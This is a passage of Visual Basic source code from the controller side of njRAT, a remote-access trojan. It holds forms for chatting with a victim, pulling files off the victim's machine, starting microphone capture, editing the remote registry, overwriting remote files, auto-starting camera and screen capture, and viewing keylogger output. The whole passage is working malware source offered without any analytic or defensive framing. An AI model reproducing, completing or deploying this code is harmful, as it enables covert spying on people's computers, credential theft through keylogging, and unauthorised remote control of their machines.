-------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports System 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Runtime.CompilerServices 7 | Imports System.Windows.Forms 8 | 9 | Public Class About 10 | 11 | Private Sub About_Load(sender As Object, e As EventArgs) Handles Me.Load 12 | RichTextBox1.Text = My.Resources.RichTextBox1 13 | End Sub 14 | End Class -------------------------------------------------------------------------------- /njRAT/NjRAT/Forms/Chat.Designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class Chat 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Me.components = New System.ComponentModel.Container() 26 | Me.Panel1 = New System.Windows.Forms.Panel() 27 | Me.Button1 = New System.Windows.Forms.Button() 28 | Me.T2 = New System.Windows.Forms.TextBox() 29 | Me.T1 = New System.Windows.Forms.RichTextBox() 30 | Me.vmethod_8 = New System.Windows.Forms.Timer(Me.components) 31 | Me.Panel1.SuspendLayout() 32 | Me.SuspendLayout() 33 | ' 34 | 'Panel1 35 | ' 36 | Me.Panel1.Controls.Add(Me.Button1) 37 | Me.Panel1.Controls.Add(Me.T2) 38 | Me.Panel1.Dock = System.Windows.Forms.DockStyle.Bottom 39 | Me.Panel1.Location = New System.Drawing.Point(0, 152) 40 | Me.Panel1.Name = "Panel1" 41 | Me.Panel1.Size = New System.Drawing.Size(405, 29) 42 | Me.Panel1.TabIndex = 0 43 | ' 44 | 'Button1 45 | ' 46 | Me.Button1.Dock = System.Windows.Forms.DockStyle.Right 47 | Me.Button1.FlatStyle = System.Windows.Forms.FlatStyle.Flat 48 | Me.Button1.ForeColor = System.Drawing.Color.LightSteelBlue 49 | Me.Button1.Location = New System.Drawing.Point(324, 0) 50 | Me.Button1.Name = "Button1" 51 | Me.Button1.Size = New System.Drawing.Size(81, 29) 52 | Me.Button1.TabIndex = 1 53 | Me.Button1.Text = "Send" 54 | Me.Button1.UseVisualStyleBackColor = True 55 | ' 56 | 'T2 57 | ' 58 | Me.T2.BackColor = System.Drawing.Color.Black 59 | Me.T2.ForeColor = System.Drawing.Color.Lime 60 | Me.T2.Location = New System.Drawing.Point(0, 0) 61 | Me.T2.Multiline = True 62 | Me.T2.Name = "T2" 63 | Me.T2.Size = New System.Drawing.Size(324, 29) 64 | Me.T2.TabIndex = 0 65 | ' 66 | 'T1 67 | ' 68 | Me.T1.BackColor = System.Drawing.Color.Black 69 | Me.T1.Dock = System.Windows.Forms.DockStyle.Fill 70 | Me.T1.ForeColor = System.Drawing.Color.Lime 71 | Me.T1.Location = New System.Drawing.Point(0, 0) 72 | Me.T1.Name = "T1" 73 | Me.T1.Size = New System.Drawing.Size(405, 152) 74 | Me.T1.TabIndex = 1 75 | Me.T1.Text = "" 76 | ' 77 | 'vmethod_8 78 | ' 79 | ' 80 | 'Chat 81 | ' 82 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 83 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 84 | Me.BackColor = System.Drawing.Color.Black 85 | Me.ClientSize = New System.Drawing.Size(405, 181) 86 | Me.Controls.Add(Me.T1) 87 | Me.Controls.Add(Me.Panel1) 88 | Me.Name = "Chat" 89 | Me.ShowIcon = False 90 | Me.ShowInTaskbar = False 91 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen 92 | Me.Text = "Chat" 93 | Me.Panel1.ResumeLayout(False) 94 | Me.Panel1.PerformLayout() 95 | Me.ResumeLayout(False) 96 | 97 | End Sub 98 | Friend WithEvents Panel1 As System.Windows.Forms.Panel 99 | Friend WithEvents T1 As System.Windows.Forms.RichTextBox 100 | Friend WithEvents T2 As System.Windows.Forms.TextBox 101 | Friend WithEvents Button1 As System.Windows.Forms.Button 102 | Friend WithEvents vmethod_8 As System.Windows.Forms.Timer 103 | End Class 104 | -------------------------------------------------------------------------------- /njRAT/NjRAT/Forms/Chat.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic 2 | Imports Microsoft.VisualBasic.CompilerServices 3 | Imports System 4 | Imports System.ComponentModel 5 | Imports System.Diagnostics 6 | Imports System.Drawing 7 | Imports System.Runtime.CompilerServices 8 | Imports System.Windows.Forms 9 | Imports NJRAT.NJRAT 10 | 11 | Public Class Chat 12 | Inherits Form 13 | ' Methods 14 | 15 | Public hk As String 16 | Public osk As Client 17 | Public sk As Client 18 | Public Sub New() 19 | Me.hk = "!~Hacker~!" 20 | Me.InitializeComponent() 21 | End Sub 22 | 23 | Private Sub Chat_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing 24 | If Me.sk.CN Then 25 | Me.sk.Send("@") 26 | End If 27 | Me.sk.CN = False 28 | End Sub 29 | 30 | Private Sub Chat_Load(sender As Object, e As EventArgs) Handles Me.Load 31 | Me.Text = Conversions.ToString(Class7.smethod_1(Me.osk.L)) 32 | Me.Show() 33 | Dim str As String = Interaction.InputBox("Enter Your NickName", "Chat", Me.hk, -1, -1) 34 | If (str = String.Empty) Then 35 | Me.sk.CN = False 36 | Else 37 | Me.hk = str 38 | Me.sk.Send(("~" & Class7.string_1 & Class6.smethod_14(Me.hk))) 39 | End If 40 | Me.vmethod_8.Enabled = True 41 | Me.T2.Select() 42 | Me.T2.Focus() 43 | End Sub 44 | 45 | Private Sub T2_KeyDown(sender As Object, e As KeyEventArgs) Handles T2.KeyDown 46 | If (e.KeyCode = Keys.Enter) Then 47 | e.SuppressKeyPress = True 48 | If (Me.T2.Text <> String.Empty) Then 49 | Dim chat As Chat = Me 50 | SyncLock chat 51 | Me.T1.SelectionStart = Me.T1.TextLength 52 | Me.T1.SelectionFont = New Font(Me.T1.Font, FontStyle.Bold) 53 | Me.T1.AppendText(("[" & Me.hk & "] ")) 54 | Me.T1.SelectionFont = Me.T1.Font 55 | Me.T1.AppendText((Me.T2.Text & ChrW(13) & ChrW(10))) 56 | Me.T1.SelectionStart = Me.T1.TextLength 57 | Me.T1.ScrollToCaret() 58 | Dim box As TextBox = Me.T2 59 | Dim text As String = box.Text 60 | box.Text = [text] 61 | Me.sk.Send(("!" & Class7.string_1 & Class6.smethod_14([text]))) 62 | Me.T2.Text = String.Empty 63 | End SyncLock 64 | End If 65 | Else 66 | Me.T2.Select() 67 | End If 68 | End Sub 69 | 70 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 71 | If (Me.T2.Text <> String.Empty) Then 72 | Dim chat As Chat = Me 73 | SyncLock chat 74 | Me.T1.SelectionStart = Me.T1.TextLength 75 | Me.T1.SelectionFont = New Font(Me.T1.Font, FontStyle.Bold) 76 | Me.T1.AppendText(("[" & Me.hk & "] ")) 77 | Me.T1.SelectionFont = Me.T1.Font 78 | Me.T1.AppendText((Me.T2.Text & ChrW(13) & ChrW(10))) 79 | Me.T1.SelectionStart = Me.T1.TextLength 80 | Me.T1.ScrollToCaret() 81 | Dim box As TextBox = Me.T2 82 | Dim text As String = box.Text 83 | box.Text = [text] 84 | Me.sk.Send(("!" & Class7.string_1 & Class6.smethod_14([text]))) 85 | Me.T2.Text = String.Empty 86 | End SyncLock 87 | End If 88 | End Sub 89 | 90 | Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles vmethod_8.Tick 91 | If ((Me.sk Is Nothing) Or (Me.osk Is Nothing)) Then 92 | If (Me.T2.Enabled Or (Me.T1.Text = String.Empty)) Then 93 | Me.T1.AppendText("Disconnected ...") 94 | End If 95 | Me.T2.Enabled = False 96 | Me.Button1.Enabled = False 97 | Me.sk.Send("@") 98 | Me.sk.CN = False 99 | Me.Close() 100 | ElseIf (Not Me.sk.CN Or Not Me.osk.CN) Then 101 | If (Me.T2.Enabled Or (Me.T1.Text = String.Empty)) Then 102 | Me.T1.AppendText("Disconnected ...") 103 | End If 104 | Me.T2.Enabled = False 105 | Me.Button1.Enabled = False 106 | Me.sk.Send("@") 107 | Me.sk.CN = False 108 | Me.Close() 109 | End If 110 | End Sub 111 | 112 | Private Sub T1_LinkClicked(sender As Object, e As LinkClickedEventArgs) Handles T1.LinkClicked 113 | Try 114 | Process.Start(e.LinkText) 115 | Catch exception1 As Exception 116 | End Try 117 | End Sub 118 | End Class -------------------------------------------------------------------------------- /njRAT/NjRAT/Forms/DW.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic 2 | Imports Microsoft.VisualBasic.CompilerServices 3 | Imports System 4 | Imports System.ComponentModel 5 | Imports System.Diagnostics 6 | Imports System.Drawing 7 | Imports System.IO 8 | Imports System.Runtime.CompilerServices 9 | Imports System.Windows.Forms 10 | Imports NJRAT.NJRAT 11 | 12 | Public Class DW 13 | Inherits Form 14 | ' Methods 15 | Public Sub New() 16 | Me.os = 0 17 | Me.InitializeComponent() 18 | End Sub 19 | 20 | Private Sub DW_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing 21 | Try 22 | Me.FS.Close() 23 | Catch exception1 As Exception 24 | End Try 25 | Try 26 | Me.FS.Dispose() 27 | Catch exception4 As Exception 28 | End Try 29 | Try 30 | File.Delete(Me.tmp) 31 | Catch exception5 As Exception 32 | End Try 33 | Me.Button1.Enabled = False 34 | Me.c.CN = False 35 | End Sub 36 | 37 | Private Sub DW_Load(sender As Object, e As EventArgs) Handles Me.Load 38 | Me.Text = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Class7.smethod_1(Me.osk.L), " - "), Class6.smethod_16(Me.FN))) 39 | Me.ProgressBar1.Maximum = Me.SZ 40 | Me.folder = Me.osk.Folder + "Downloads\" 41 | If Not Directory.Exists(Me.folder) Then 42 | Directory.CreateDirectory(Me.folder) 43 | End If 44 | Me.folder += New FileInfo(Class6.smethod_16(Me.FN)).Name 45 | Me.Lv1.Items.Item(0).SubItems(0).Text = New FileInfo(Class6.smethod_16(Me.FN)).Name 46 | Me.Lv1.Items.Item(1).SubItems(0).Text = Class6.smethod_17(CLng(Me.SZ)) 47 | Do 48 | Me.tmp = Interaction.Environ("temp") + "\njfm_" + Class6.smethod_6(10) 49 | Loop While File.Exists(Me.tmp) 50 | Me.FS = New FileStream(Me.tmp, FileMode.Append) 51 | Me.Lv1.Items.Item(2).SubItems(0).Text = Class6.smethod_17(CLng(Me.ProgressBar1.Value - Me.os)) 52 | Me.os = Me.ProgressBar1.Value 53 | Me.Lv1.Items.Item(3).SubItems(0).Text = Class6.smethod_17(CLng(Me.ProgressBar1.Value)) 54 | Me.Lv1.method_3() 55 | Me.Timer1.Enabled = True 56 | End Sub 57 | 58 | Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick 59 | Try 60 | Me.Lv1.Items.Item(2).SubItems(1).Text = Class6.smethod_17(CLng(Me.ProgressBar1.Value - Me.os)) 61 | Me.os = Me.ProgressBar1.Value 62 | Me.Lv1.Items.Item(3).SubItems(1).Text = Class6.smethod_17(CLng(Me.ProgressBar1.Value)) 63 | Catch ex As Exception 64 | End Try 65 | End Sub 66 | 67 | Public c As Client 68 | Public FN As String 69 | Public folder As String 70 | Public FS As FileStream 71 | Public os As Integer 72 | Public osk As Client 73 | Public SZ As Integer 74 | Public tmp As String 75 | 76 | 77 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 78 | If (Me.Button1.Text = "Stop") Then 79 | Me.FS.Close() 80 | Me.FS.Dispose() 81 | File.Delete(Me.tmp) 82 | Me.Button1.Enabled = False 83 | Me.c.CN = False 84 | Me.Close() 85 | Else 86 | Me.FS.Close() 87 | Me.FS.Dispose() 88 | File.Move(Me.tmp, Me.folder) 89 | End If 90 | End Sub 91 | End Class -------------------------------------------------------------------------------- /njRAT/NjRAT/Forms/FURL.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic 2 | Imports Microsoft.VisualBasic.CompilerServices 3 | Imports System 4 | Imports System.ComponentModel 5 | Imports System.Diagnostics 6 | Imports System.Drawing 7 | Imports System.Runtime.CompilerServices 8 | Imports System.Windows.Forms 9 | Public Class FURL 10 | Inherits Form 11 | ' Methods 12 | 13 | Public IsOK As Boolean 14 | Public Sub New() 15 | Me.IsOK = False 16 | Me.InitializeComponent() 17 | End Sub 18 | 19 | Private Sub FURL_KeyDown(sender As Object, e As KeyEventArgs) Handles Me.KeyDown 20 | If (e.KeyCode = Keys.Enter) Then 21 | Me.Button1_Click(RuntimeHelpers.GetObjectValue(sender), e) 22 | End If 23 | End Sub 24 | 25 | Private Sub TextBox1_TextAlignChanged(sender As Object, e As EventArgs) Handles TextBox1.TextAlignChanged 26 | 27 | End Sub 28 | 29 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 30 | If (((Me.TextBox1.Text.Length > 0) And Me.TextBox1.Text.ToLower.StartsWith("http")) And (Me.TextBox2.TextLength > 0)) Then 31 | Me.IsOK = True 32 | Me.Close() 33 | End If 34 | End Sub 35 | 36 | Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click 37 | Me.Close() 38 | End Sub 39 | 40 | Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles TextBox1.TextChanged 41 | Try 42 | Me.TextBox2.Text = Strings.Split(Me.TextBox1.Text, ".", -1, CompareMethod.Binary)((Strings.Split(Me.TextBox1.Text, ".", -1, CompareMethod.Binary).Length - 1)) 43 | Catch exception1 As Exception 44 | 45 | End Try 46 | End Sub 47 | End Class -------------------------------------------------------------------------------- /njRAT/NjRAT/Forms/FromLink.vb: -------------------------------------------------------------------------------- 1 | Public Class FromLink 2 | Public IsOK As Boolean 3 | 4 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 5 | Me.IsOK = True 6 | Me.Close() 7 | End Sub 8 | 9 | Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click 10 | Me.Close() 11 | End Sub 12 | 13 | Private Sub TextBox1_TextAlignChanged(sender As Object, e As EventArgs) Handles TextBox1.TextAlignChanged 14 | Try 15 | Me.TextBox2.Text = Strings.Split(Me.TextBox1.Text, "\", -1, CompareMethod.Binary)((Strings.Split(Me.TextBox1.Text, "\", -1, CompareMethod.Binary).Length - 1)) 16 | Catch exception1 As Exception 17 | Me.TextBox2.Text = "File.txt" 18 | End Try 19 | End Sub 20 | End Class -------------------------------------------------------------------------------- /njRAT/NjRAT/Forms/Mic.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports System 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Runtime.CompilerServices 7 | Imports System.Windows.Forms 8 | Imports NJRAT.NJRAT 9 | 10 | Public Class Mic 11 | Public Sub New() 12 | Me.QQ = String.Empty 13 | Me.InitializeComponent() 14 | End Sub 15 | 16 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 17 | If (Me.Button1.Text = "Start") Then 18 | Me.Button1.Text = "Stop" 19 | Me.Button1.Image = My.Resources.control_pause_blue 20 | Me.ComboBox1.Enabled = False 21 | Me.ComboBox2.Enabled = False 22 | Dim num As Integer = 0 23 | If Me.ComboBox2.Text.Contains("16bit") Then 24 | num = 1 25 | End If 26 | Me.sk.Send(String.Concat(New String() {"~", Class7.string_1, Me.ComboBox1.SelectedIndex.ToString, Class7.string_1, Conversions.ToString(CInt(Math.Round(CDbl((Conversions.ToDouble(Me.ComboBox2.Text.Split(New Char() {" "c})(0)) * 1024))))), Class7.string_1, Conversions.ToString(num)})) 27 | Else 28 | Me.sk.Send(("~" & Class7.string_1 & "-1")) 29 | Me.Button1.Image = My.Resources.control_play_blue 30 | Me.Button1.Text = "Start" 31 | Me.ComboBox1.Enabled = True 32 | Me.ComboBox2.Enabled = True 33 | End If 34 | End Sub 35 | 36 | Private Sub Mic_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing 37 | Try 38 | If Me.sk.CN Then 39 | Me.sk.Send(("~" & Class7.string_1 & "-1")) 40 | End If 41 | Me.sk.CN = False 42 | Catch exception1 As Exception 43 | ProjectData.SetProjectError(exception1) 44 | Dim exception As Exception = exception1 45 | ProjectData.ClearProjectError() 46 | End Try 47 | End Sub 48 | 49 | Private Sub Mic_Load(sender As Object, e As EventArgs) Handles Me.Load 50 | Try 51 | Me.QQ = Conversions.ToString(Class7.smethod_1(Me.osk.L)) 52 | Me.Text = (Class6.smethod_17(0) & " " & Me.QQ) 53 | Catch exception1 As Exception 54 | ProjectData.SetProjectError(exception1) 55 | Dim exception As Exception = exception1 56 | ProjectData.ClearProjectError() 57 | End Try 58 | If (Me.ComboBox1.Items.Count = 0) Then 59 | Me.Close() 60 | Else 61 | Me.Button1.ImageAlign = ContentAlignment.MiddleLeft 62 | Me.Button1.Image = My.Resources.control_play_blue 63 | Me.ComboBox1.SelectedIndex = 0 64 | If (Class7.class8_0.int_1 > (Me.ComboBox2.Items.Count - 1)) Then 65 | Class7.class8_0.int_1 = 0 66 | End If 67 | Me.ComboBox2.SelectedIndex = Class7.class8_0.int_1 68 | If Class7.class8_0.bool_8 Then 69 | Me.Button1_Click(RuntimeHelpers.GetObjectValue(sender), e) 70 | End If 71 | End If 72 | End Sub 73 | 74 | Public osk As Client 75 | Public QQ As String 76 | Public sk As Client 77 | 78 | Private Sub vmethod_4_Tick(sender As Object, e As EventArgs) Handles vmethod_4.Tick 79 | Try 80 | If ((Me.osk Is Nothing) Or (Me.sk Is Nothing)) Then 81 | Me.Close() 82 | Return 83 | End If 84 | If (Not Me.osk.CN Or Not Me.sk.CN) Then 85 | Me.Close() 86 | End If 87 | Catch exception1 As Exception 88 | 89 | End Try 90 | Me.ProgressBar1.Value = Me.sk.rp 91 | End Sub 92 | End Class -------------------------------------------------------------------------------- /njRAT/NjRAT/Forms/Note.Designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class Note 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Me.MenuStrip1 = New System.Windows.Forms.MenuStrip() 26 | Me.ToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem() 27 | Me.TextBox1 = New System.Windows.Forms.TextBox() 28 | Me.MenuStrip1.SuspendLayout() 29 | Me.SuspendLayout() 30 | ' 31 | 'MenuStrip1 32 | ' 33 | Me.MenuStrip1.BackColor = System.Drawing.Color.Black 34 | Me.MenuStrip1.Font = New System.Drawing.Font("Arial", 8.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) 35 | Me.MenuStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.ToolStripMenuItem1}) 36 | Me.MenuStrip1.LayoutStyle = System.Windows.Forms.ToolStripLayoutStyle.Flow 37 | Me.MenuStrip1.Location = New System.Drawing.Point(0, 0) 38 | Me.MenuStrip1.Name = "MenuStrip1" 39 | Me.MenuStrip1.Size = New System.Drawing.Size(629, 23) 40 | Me.MenuStrip1.TabIndex = 0 41 | Me.MenuStrip1.Text = "MenuStrip1" 42 | ' 43 | 'ToolStripMenuItem1 44 | ' 45 | Me.ToolStripMenuItem1.ForeColor = System.Drawing.Color.LightSteelBlue 46 | Me.ToolStripMenuItem1.Name = "ToolStripMenuItem1" 47 | Me.ToolStripMenuItem1.Size = New System.Drawing.Size(97, 18) 48 | Me.ToolStripMenuItem1.Text = "Save Changes" 49 | ' 50 | 'TextBox1 51 | ' 52 | Me.TextBox1.BackColor = System.Drawing.Color.Black 53 | Me.TextBox1.Dock = System.Windows.Forms.DockStyle.Fill 54 | Me.TextBox1.ForeColor = System.Drawing.Color.White 55 | Me.TextBox1.Location = New System.Drawing.Point(0, 23) 56 | Me.TextBox1.Multiline = True 57 | Me.TextBox1.Name = "TextBox1" 58 | Me.TextBox1.ScrollBars = System.Windows.Forms.ScrollBars.Both 59 | Me.TextBox1.Size = New System.Drawing.Size(629, 205) 60 | Me.TextBox1.TabIndex = 1 61 | ' 62 | 'Note 63 | ' 64 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 65 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 66 | Me.BackColor = System.Drawing.Color.Black 67 | Me.ClientSize = New System.Drawing.Size(629, 228) 68 | Me.Controls.Add(Me.TextBox1) 69 | Me.Controls.Add(Me.MenuStrip1) 70 | Me.MainMenuStrip = Me.MenuStrip1 71 | Me.Name = "Note" 72 | Me.ShowIcon = False 73 | Me.ShowInTaskbar = False 74 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen 75 | Me.Text = "Note" 76 | Me.MenuStrip1.ResumeLayout(False) 77 | Me.MenuStrip1.PerformLayout() 78 | Me.ResumeLayout(False) 79 | Me.PerformLayout() 80 | 81 | End Sub 82 | Friend WithEvents MenuStrip1 As System.Windows.Forms.MenuStrip 83 | Friend WithEvents ToolStripMenuItem1 As System.Windows.Forms.ToolStripMenuItem 84 | Friend WithEvents TextBox1 As System.Windows.Forms.TextBox 85 | End Class 86 | -------------------------------------------------------------------------------- /njRAT/NjRAT/Forms/Note.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports System 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Runtime.CompilerServices 7 | Imports System.Windows.Forms 8 | Imports NJRAT.NJRAT 9 | 10 | Public Class Note 11 | Public FN As String 12 | Public SK As Client 13 | Private Sub ToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem1.Click 14 | Dim strArray As String() = New String(9 - 1) {} 15 | strArray(0) = "Ex" 16 | strArray(1) = Class7.string_1 17 | strArray(2) = "fm" 18 | strArray(3) = Class7.string_1 19 | strArray(4) = "wr" 20 | strArray(5) = Class7.string_1 21 | strArray(6) = Class6.smethod_14(Me.FN) 22 | strArray(7) = Class7.string_1 23 | Dim box As TextBox = Me.TextBox1 24 | Dim text As String = box.Text 25 | box.Text = [text] 26 | strArray(8) = Class6.smethod_14([text]) 27 | Me.SK.Send(String.Concat(strArray)) 28 | Me.ToolStripMenuItem1.Enabled = False 29 | End Sub 30 | 31 | Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles TextBox1.TextChanged 32 | Me.ToolStripMenuItem1.Enabled = True 33 | End Sub 34 | End Class -------------------------------------------------------------------------------- /njRAT/NjRAT/Forms/RGv.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports Microsoft.Win32 3 | Imports System 4 | Imports System.ComponentModel 5 | Imports System.Diagnostics 6 | Imports System.Drawing 7 | Imports System.Runtime.CompilerServices 8 | Imports System.Windows.Forms 9 | Imports NJRAT.NJRAT 10 | 11 | Public Class RGv 12 | Public Path As String 13 | Public sk As Client 14 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 15 | Me.sk.Send(String.Concat(New String() {"Ex", Class7.string_1, "RG", Class7.string_1, "!", Class7.string_1, Me.Path, Class7.string_1, Me.TextBox1.Text, Class7.string_1, Me.TextBox3.Text, Class7.string_1, Conversions.ToString(Me.Typ(Me.ComboBox1.Text))})) 16 | Me.Close() 17 | End Sub 18 | Public Function Typ(ByVal t As String) As Integer 19 | Dim num As Integer 20 | Dim str As String = t.ToLower 21 | If (str = RegistryValueKind.Binary.ToString.ToLower) Then 22 | Return 3 23 | End If 24 | If (str = RegistryValueKind.DWord.ToString.ToLower) Then 25 | Return 4 26 | End If 27 | If (str = RegistryValueKind.ExpandString.ToString.ToLower) Then 28 | Return 2 29 | End If 30 | If (str = RegistryValueKind.MultiString.ToString.ToLower) Then 31 | Return 7 32 | End If 33 | If (str = RegistryValueKind.QWord.ToString.ToLower) Then 34 | Return 11 35 | End If 36 | If (str = RegistryValueKind.String.ToString.ToLower) Then 37 | Return 1 38 | End If 39 | Return num 40 | End Function 41 | End Class -------------------------------------------------------------------------------- /njRAT/NjRAT/Forms/STNG.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports System 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Runtime.CompilerServices 7 | Imports System.Windows.Forms 8 | Public Class STNG 9 | 10 | Private Sub STNG_Load(sender As Object, e As EventArgs) Handles Me.Load 11 | Me.SCAUT.Checked = Class7.class8_0.bool_6 12 | Me.SCI.SelectedIndex = Conversions.ToInteger(Class7.class8_0.string_0) 13 | Me.CAMAUT.Checked = Class7.class8_0.bool_7 14 | Me.CAMI.SelectedIndex = Class7.class8_0.int_0 15 | Me.MICAUT.Checked = Class7.class8_0.bool_8 16 | Me.LOGCONNECTIONS.Checked = Class7.class8_0.bool_2 17 | Me.LOGLERR.Checked = Class7.class8_0.bool_3 18 | Me.LOGRERR.Checked = Class7.class8_0.bool_4 19 | Me.LOGMSGS.Checked = Class7.class8_0.bool_5 20 | Me.LOGLOGIN.Checked = Class7.class8_0.bool_1 21 | Me.ShowAlert.Checked = Class7.class8_0.bool_0 22 | Me.MICI.SelectedIndex = Class7.class8_0.int_1 23 | Me.scrI.SelectedIndex = Class7.class8_0.int_2 24 | End Sub 25 | 26 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 27 | Class7.class8_0.bool_6 = Me.SCAUT.Checked 28 | Class7.class8_0.string_0 = Conversions.ToString(Me.SCI.SelectedIndex) 29 | Class7.class8_0.bool_7 = Me.CAMAUT.Checked 30 | Class7.class8_0.int_0 = Me.CAMI.SelectedIndex 31 | Class7.class8_0.bool_8 = Me.MICAUT.Checked 32 | Class7.class8_0.bool_2 = Me.LOGCONNECTIONS.Checked 33 | Class7.class8_0.bool_3 = Me.LOGLERR.Checked 34 | Class7.class8_0.bool_4 = Me.LOGRERR.Checked 35 | Class7.class8_0.bool_5 = Me.LOGMSGS.Checked 36 | Class7.class8_0.bool_1 = Me.LOGLOGIN.Checked 37 | Class7.class8_0.bool_0 = Me.ShowAlert.Checked 38 | Class7.class8_0.int_1 = Me.MICI.SelectedIndex 39 | Class7.class8_0.int_2 = Me.scrI.SelectedIndex 40 | Class7.class8_0.method_1() 41 | Me.Close() 42 | End Sub 43 | End Class -------------------------------------------------------------------------------- /njRAT/NjRAT/Forms/kl.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports System 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Runtime.CompilerServices 7 | Imports System.Windows.Forms 8 | Imports NJRAT.NJRAT 9 | 10 | Public Class kl 11 | Inherits Form 12 | ' Methods 13 | Public c As Client 14 | Private listViewItem_0 As ListViewItem 15 | Public Sub New() 16 | Me.listViewItem_0 = Nothing 17 | Me.InitializeComponent() 18 | End Sub 19 | Public Sub insert(ByVal T As String) 20 | If (T.StartsWith(ChrW(1)) And T.EndsWith(ChrW(1))) Then 21 | Me.T1.SelectionFont = New Font(Me.T1.Font, FontStyle.Bold) 22 | Me.T1.SelectionColor = Color.SteelBlue 23 | Me.T1.AppendText((ChrW(13) & ChrW(10) & "[ " & T.Replace(ChrW(1), String.Empty) & "]" & ChrW(13) & ChrW(10))) 24 | Else 25 | Me.T1.SelectionFont = Me.T1.Font 26 | Me.T1.SelectionColor = Me.T1.ForeColor 27 | Me.T1.AppendText((T & ChrW(13) & ChrW(10))) 28 | End If 29 | End Sub 30 | 31 | Private Sub CopyToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CopyToolStripMenuItem.Click 32 | Me.T1.Copy() 33 | End Sub 34 | 35 | Private Sub ToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem1.Click 36 | Try 37 | Me.c.Send("kl") 38 | Me.ToolStripMenuItem1.Enabled = False 39 | Catch exception1 As Exception 40 | End Try 41 | End Sub 42 | 43 | Private Sub SelectAllToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles SelectAllToolStripMenuItem.Click 44 | Me.T1.SelectAll() 45 | End Sub 46 | 47 | Private Sub ToolStripMenuItem2_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem2.Click 48 | If (Me.T1.Find(Me.TFind.Text, (Me.T1.SelectionStart + Me.T1.SelectionLength), RichTextBoxFinds.None) = -1) Then 49 | Me.T1.Find(Me.TFind.Text, 0, RichTextBoxFinds.None) 50 | End If 51 | End Sub 52 | 53 | Private Sub ToolStripMenuItem3_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem3.Click 54 | Try 55 | Dim start As Integer = 1 56 | Dim dataObject As IDataObject = Clipboard.GetDataObject 57 | Me.T1.ReadOnly = False 58 | Do While (start <> -1) 59 